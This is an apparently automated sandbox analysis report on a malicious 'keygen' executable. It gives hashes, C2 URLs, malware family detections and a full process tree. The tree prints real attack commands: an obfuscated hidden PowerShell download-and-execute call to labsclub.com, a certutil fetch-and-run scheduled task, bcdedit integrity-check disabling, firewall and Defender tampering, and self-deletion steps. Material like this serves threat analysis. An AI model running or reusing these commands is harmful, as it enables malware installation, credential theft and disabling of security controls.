Analysis

  • max time kernel
    68s
  • max time network
    304s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    05-03-2021 05:11

General

  • Target

    Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe

  • Size

    8.6MB

  • MD5

    4c5d5630a17759bff9cb25a75a6de902

  • SHA1

    7e30a081298ef34a5f7db00607f10c72464e4c96

  • SHA256

    45411d2b5bf4e2d0e75af577252aba0a84ccc51e7b05e9b67a54390bb7aab8d8

  • SHA512

    09d2a7fa28f88dd5c622b99318a7d68b1c3f9f6fa3edbe589cb067478dba73e790346b967599dde0745e8afeded0096c99d796206f691c34c903c97a01db80f3

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://labsclub.com/welcome

Extracted

Family

azorult

C2

http://kvaka.li/1210776429.php

Extracted

Family

metasploit

Version

windows/single_exec

Extracted

Family

raccoon

Botnet

51c194bfb6e404af0e5ff0b93b443907a6a845b1

Attributes
  • url4cnc

    https://telete.in/h_focus_1

rc4.plain
rc4.plain

Signatures

  • Azorult

    An information stealer that was first discovered in 2016, targeting browsing history and passwords.

  • ElysiumStealer

    ElysiumStealer (previously known as ZeromaxStealer) is an info stealer that can steal login credentials for various accounts.

  • ElysiumStealer Payload 3 IoCs
  • ElysiumStealer Support DLL 1 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 3 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Pony,Fareit

    Pony is a Remote Access Trojan application that steals information.

  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine Payload 1 IoCs
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • Modifies boot configuration data using bcdedit 15 IoCs
  • Nirsoft 2 IoCs
  • XMRig Miner Payload 3 IoCs
  • Executes dropped EXE 25 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • Suspicious Office macro 1 IoCs

    Office document equipped with 4.0 macros.

  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 2 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Checks for any installed AV software in registry 1 TTPs 53 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 48 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 7 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Writes to the Master Boot Record (MBR) 1 TTPs 3 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Windows directory 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 19 IoCs
  • Checks SCSI registry key(s) 3 TTPs 12 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 3 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Kills process with taskkill 6 IoCs
  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies system certificate store 2 TTPs 4 IoCs
  • Runs .reg file with regedit 2 IoCs
  • Runs ping.exe 1 TTPs 4 IoCs
  • Script User-Agent 5 IoCs

    Uses user-agent string associated with script host/environment.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe
    "C:\Users\Admin\AppData\Local\Temp\Webcam_Broadcaster_v1_serial_keygen_by_Inferno.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:492
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen.bat" "
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1896
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-pr.exe
        keygen-pr.exe -p83fsase3Ge
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:980
        • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2692
          • C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe
            C:\Users\Admin\AppData\Local\Temp\RarSFX1\key.exe -txt -scanlocal -file:potato.dat
            5⤵
            • Executes dropped EXE
            PID:592
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-1.exe
        keygen-step-1.exe
        3⤵
        • Executes dropped EXE
        PID:588
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe
        keygen-step-3.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:1132
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-3.exe"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:1168
          • C:\Windows\SysWOW64\PING.EXE
            ping 1.1.1.1 -n 1 -w 3000
            5⤵
            • Runs ping.exe
            PID:3044
      • C:\Users\Admin\AppData\Local\Temp\RarSFX0\keygen-step-4.exe
        keygen-step-4.exe
        3⤵
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
          4⤵
          • Executes dropped EXE
          • Modifies data under HKEY_USERS
          • Modifies system certificate store
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3948
          • C:\Users\Admin\AppData\Roaming\CAC8.tmp.exe
            "C:\Users\Admin\AppData\Roaming\CAC8.tmp.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2704
            • C:\Users\Admin\AppData\Roaming\CAC8.tmp.exe
              "C:\Users\Admin\AppData\Roaming\CAC8.tmp.exe"
              6⤵
              • Executes dropped EXE
              • Checks processor information in registry
              • Suspicious behavior: EnumeratesProcesses
              PID:656
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\file.exe"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:1588
            • C:\Windows\SysWOW64\PING.EXE
              ping 127.0.0.1
              6⤵
              • Runs ping.exe
              PID:2608
        • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe
          "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
          4⤵
          • Executes dropped EXE
          • Writes to the Master Boot Record (MBR)
          • Suspicious use of NtSetInformationThreadHideFromDebugger
          • Modifies system certificate store
          • Suspicious use of SetWindowsHookEx
          PID:3676
          • C:\Windows\SysWOW64\msiexec.exe
            msiexec.exe /i "C:\Users\Admin\AppData\Local\Temp\gdiview.msi"
            5⤵
            • Enumerates connected drives
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of FindShellTrayWindow
            PID:2968
          • C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe
            C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 0011 installp1
            5⤵
            • Executes dropped EXE
            • Writes to the Master Boot Record (MBR)
            • Suspicious use of SetThreadContext
            • Checks SCSI registry key(s)
            • Suspicious use of SetWindowsHookEx
            PID:2564
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe"
              6⤵
              • Suspicious use of SetWindowsHookEx
              PID:2652
            • C:\Users\Admin\AppData\Roaming\1614921469223.exe
              "C:\Users\Admin\AppData\Roaming\1614921469223.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614921469223.txt"
              6⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of SetWindowsHookEx
              PID:1376
            • C:\Program Files\Mozilla Firefox\firefox.exe
              "C:\Program Files\Mozilla Firefox\firefox.exe"
              6⤵
                PID:4220
              • C:\Users\Admin\AppData\Roaming\1614921486333.exe
                "C:\Users\Admin\AppData\Roaming\1614921486333.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614921486333.txt"
                6⤵
                  PID:4348
                • C:\Program Files\Mozilla Firefox\firefox.exe
                  "C:\Program Files\Mozilla Firefox\firefox.exe"
                  6⤵
                    PID:4860
                  • C:\Users\Admin\AppData\Roaming\1614921495860.exe
                    "C:\Users\Admin\AppData\Roaming\1614921495860.exe" /sjson "C:\Users\Admin\AppData\Roaming\1614921495860.txt"
                    6⤵
                      PID:4736
                    • C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe
                      C:\Users\Admin\AppData\Local\Temp\download\ThunderFW.exe ThunderFW "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe"
                      6⤵
                        PID:4332
                      • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
                        "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
                        6⤵
                          PID:4604
                        • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
                          "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
                          6⤵
                            PID:5116
                          • C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe
                            "C:\Users\Admin\AppData\Local\Temp\download\MiniThunderPlatform.exe" -StartTP
                            6⤵
                              PID:2588
                          • C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe
                            C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe 200 installp1
                            5⤵
                            • Executes dropped EXE
                            • Writes to the Master Boot Record (MBR)
                            • Checks SCSI registry key(s)
                            • Suspicious use of SetWindowsHookEx
                            PID:3384
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd.exe /c taskkill /f /im chrome.exe
                              6⤵
                                PID:1172
                                • C:\Windows\SysWOW64\taskkill.exe
                                  taskkill /f /im chrome.exe
                                  7⤵
                                  • Kills process with taskkill
                                  PID:360
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\C0CA61A12E4C8B38.exe"
                                6⤵
                                  PID:4168
                                  • C:\Windows\SysWOW64\PING.EXE
                                    ping 127.0.0.1 -n 3
                                    7⤵
                                    • Runs ping.exe
                                    PID:4228
                              • C:\Windows\SysWOW64\cmd.exe
                                cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Setup.exe"
                                5⤵
                                  PID:1416
                                  • C:\Windows\SysWOW64\PING.EXE
                                    ping 127.0.0.1 -n 3
                                    6⤵
                                    • Runs ping.exe
                                    PID:200
                              • C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe
                                "C:\Users\Admin\AppData\Local\Temp\RarSFX2\Install.exe"
                                4⤵
                                • Executes dropped EXE
                                PID:2632
                                • C:\Users\Admin\AppData\Local\Temp\HLSJI7HXLJ\multitimer.exe
                                  "C:\Users\Admin\AppData\Local\Temp\HLSJI7HXLJ\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
                                  5⤵
                                  • Executes dropped EXE
                                  • Drops file in Windows directory
                                  PID:3168
                                  • C:\Users\Admin\AppData\Local\Temp\HLSJI7HXLJ\multitimer.exe
                                    "C:\Users\Admin\AppData\Local\Temp\HLSJI7HXLJ\multitimer.exe" 1 3.1614921261.6041be2deefa1 101
                                    6⤵
                                    • Executes dropped EXE
                                    • Adds Run key to start application
                                    PID:4888
                                    • C:\Users\Admin\AppData\Local\Temp\HLSJI7HXLJ\multitimer.exe
                                      "C:\Users\Admin\AppData\Local\Temp\HLSJI7HXLJ\multitimer.exe" 2 3.1614921261.6041be2deefa1
                                      7⤵
                                      • Executes dropped EXE
                                      • Checks for any installed AV software in registry
                                      • Maps connected drives based on registry
                                      • Enumerates system info in registry
                                      • Suspicious behavior: EnumeratesProcesses
                                      PID:5048
                                      • C:\Users\Admin\AppData\Local\Temp\ja0wmqbjxfm\safebits.exe
                                        "C:\Users\Admin\AppData\Local\Temp\ja0wmqbjxfm\safebits.exe" /S /pubid=1 /subid=451
                                        8⤵
                                          PID:1620
                                          • C:\Windows\SysWOW64\rundll32.exe
                                            "C:\Windows\System32\rundll32.exe" "C:\Users\Admin\AppData\Local\Temp\DragonFruitSoftware\tmorgm.dll",tmorgm C:\Users\Admin\AppData\Local\Temp\ja0wmqbjxfm\safebits.exe
                                            9⤵
                                              PID:6664
                                          • C:\Users\Admin\AppData\Local\Temp\vs1pdjs51a4\yd1pf4o2tr1.exe
                                            "C:\Users\Admin\AppData\Local\Temp\vs1pdjs51a4\yd1pf4o2tr1.exe" /VERYSILENT
                                            8⤵
                                              PID:868
                                              • C:\Users\Admin\AppData\Local\Temp\is-9S1D5.tmp\yd1pf4o2tr1.tmp
                                                "C:\Users\Admin\AppData\Local\Temp\is-9S1D5.tmp\yd1pf4o2tr1.tmp" /SL5="$70060,870426,780800,C:\Users\Admin\AppData\Local\Temp\vs1pdjs51a4\yd1pf4o2tr1.exe" /VERYSILENT
                                                9⤵
                                                  PID:1220
                                                  • C:\Users\Admin\AppData\Local\Temp\is-U3ERD.tmp\winlthst.exe
                                                    "C:\Users\Admin\AppData\Local\Temp\is-U3ERD.tmp\winlthst.exe" test1 test1
                                                    10⤵
                                                      PID:5212
                                                      • C:\Users\Admin\AppData\Local\Temp\uNoDgelVO.exe
                                                        "C:\Users\Admin\AppData\Local\Temp\uNoDgelVO.exe"
                                                        11⤵
                                                          PID:4552
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            "C:\Windows\System32\cmd.exe" /c taskkill /im uNoDgelVO.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\uNoDgelVO.exe" & del C:\ProgramData\*.dll & exit
                                                            12⤵
                                                              PID:6736
                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                taskkill /im uNoDgelVO.exe /f
                                                                13⤵
                                                                • Kills process with taskkill
                                                                PID:6912
                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                timeout /t 6
                                                                13⤵
                                                                • Delays execution with timeout.exe
                                                                PID:3812
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                            11⤵
                                                              PID:4308
                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                12⤵
                                                                  PID:1604
                                                        • C:\Users\Admin\AppData\Local\Temp\cwtnq1qoayb\vict.exe
                                                          "C:\Users\Admin\AppData\Local\Temp\cwtnq1qoayb\vict.exe" /VERYSILENT /id=535
                                                          8⤵
                                                            PID:1308
                                                            • C:\Users\Admin\AppData\Local\Temp\is-SM5VU.tmp\vict.tmp
                                                              "C:\Users\Admin\AppData\Local\Temp\is-SM5VU.tmp\vict.tmp" /SL5="$20280,870426,780800,C:\Users\Admin\AppData\Local\Temp\cwtnq1qoayb\vict.exe" /VERYSILENT /id=535
                                                              9⤵
                                                                PID:4360
                                                                • C:\Users\Admin\AppData\Local\Temp\is-U404P.tmp\wimapi.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\is-U404P.tmp\wimapi.exe" 535
                                                                  10⤵
                                                                    PID:5360
                                                                    • C:\Users\Admin\AppData\Local\Temp\sGnSqaW2n.exe
                                                                      "C:\Users\Admin\AppData\Local\Temp\sGnSqaW2n.exe"
                                                                      11⤵
                                                                        PID:6076
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c taskkill /im sGnSqaW2n.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\sGnSqaW2n.exe" & del C:\ProgramData\*.dll & exit
                                                                          12⤵
                                                                            PID:6856
                                                                            • C:\Windows\SysWOW64\taskkill.exe
                                                                              taskkill /im sGnSqaW2n.exe /f
                                                                              13⤵
                                                                              • Kills process with taskkill
                                                                              PID:6936
                                                                            • C:\Windows\SysWOW64\timeout.exe
                                                                              timeout /t 6
                                                                              13⤵
                                                                              • Delays execution with timeout.exe
                                                                              PID:3140
                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                          cmd.exe /c start /B powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                          11⤵
                                                                            PID:6604
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -windowstyle hidden -command "&{$t='#i#ex##@(n#ew#####-#ob#jec#t N#et#.W#eb#Cl#ie#nt#).###########Up#loa#dSt##########ri#ng(#''h#t#tp#:#//labsclub.com/#w#el#co#me''#,#''Cr#ys#ta#lP#ig''#############)##|#ie##x'.replace('#','').split('@',5);&$t[0]$t[1]}"
                                                                              12⤵
                                                                                PID:6276
                                                                      • C:\Users\Admin\AppData\Local\Temp\uewhkejvnlk\askinstall24.exe
                                                                        "C:\Users\Admin\AppData\Local\Temp\uewhkejvnlk\askinstall24.exe"
                                                                        8⤵
                                                                          PID:4248
                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                            cmd.exe /c taskkill /f /im chrome.exe
                                                                            9⤵
                                                                              PID:5412
                                                                              • C:\Windows\SysWOW64\taskkill.exe
                                                                                taskkill /f /im chrome.exe
                                                                                10⤵
                                                                                • Kills process with taskkill
                                                                                PID:5648
                                                                          • C:\Users\Admin\AppData\Local\Temp\5alkyj3rr2e\app.exe
                                                                            "C:\Users\Admin\AppData\Local\Temp\5alkyj3rr2e\app.exe" /8-23
                                                                            8⤵
                                                                              PID:4380
                                                                              • C:\Users\Admin\AppData\Local\Temp\5alkyj3rr2e\app.exe
                                                                                "C:\Users\Admin\AppData\Local\Temp\5alkyj3rr2e\app.exe" /8-23
                                                                                9⤵
                                                                                  PID:3300
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                                                                    10⤵
                                                                                      PID:4880
                                                                                      • C:\Windows\system32\netsh.exe
                                                                                        netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                                                        11⤵
                                                                                          PID:2276
                                                                                      • C:\Windows\rss\csrss.exe
                                                                                        C:\Windows\rss\csrss.exe /8-23
                                                                                        10⤵
                                                                                          PID:6976
                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
                                                                                            11⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:6448
                                                                                          • C:\Windows\SYSTEM32\schtasks.exe
                                                                                            schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
                                                                                            11⤵
                                                                                            • Creates scheduled task(s)
                                                                                            PID:6444
                                                                                          • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
                                                                                            "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
                                                                                            11⤵
                                                                                              PID:2276
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:6500
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:5276
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:6852
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:5408
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:5092
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:6456
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:6584
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:4740
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:2272
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:6792
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:5196
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -timeout 0
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:6096
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:4116
                                                                                              • C:\Windows\system32\bcdedit.exe
                                                                                                C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
                                                                                                12⤵
                                                                                                • Modifies boot configuration data using bcdedit
                                                                                                PID:6948
                                                                                            • C:\Windows\System32\bcdedit.exe
                                                                                              C:\Windows\Sysnative\bcdedit.exe /v
                                                                                              11⤵
                                                                                              • Modifies boot configuration data using bcdedit
                                                                                              PID:5560
                                                                                            • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                                                                                              C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
                                                                                              11⤵
                                                                                                PID:5320
                                                                                              • C:\Windows\windefender.exe
                                                                                                "C:\Windows\windefender.exe"
                                                                                                11⤵
                                                                                                  PID:6548
                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                    cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                                                    12⤵
                                                                                                      PID:1328
                                                                                                      • C:\Windows\SysWOW64\sc.exe
                                                                                                        sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
                                                                                                        13⤵
                                                                                                          PID:7004
                                                                                              • C:\Users\Admin\AppData\Local\Temp\aoquggcu5fa\1b2xzkzxn4k.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\aoquggcu5fa\1b2xzkzxn4k.exe" /ustwo INSTALL
                                                                                                8⤵
                                                                                                  PID:4452
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 652
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:4356
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 668
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:4376
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 628
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:5184
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 492
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:5332
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 880
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:5672
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 928
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:6072
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 1176
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:4424
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 1188
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:5188
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 1280
                                                                                                    9⤵
                                                                                                    • Program crash
                                                                                                    PID:5336
                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 4452 -s 1272
                                                                                                    9⤵
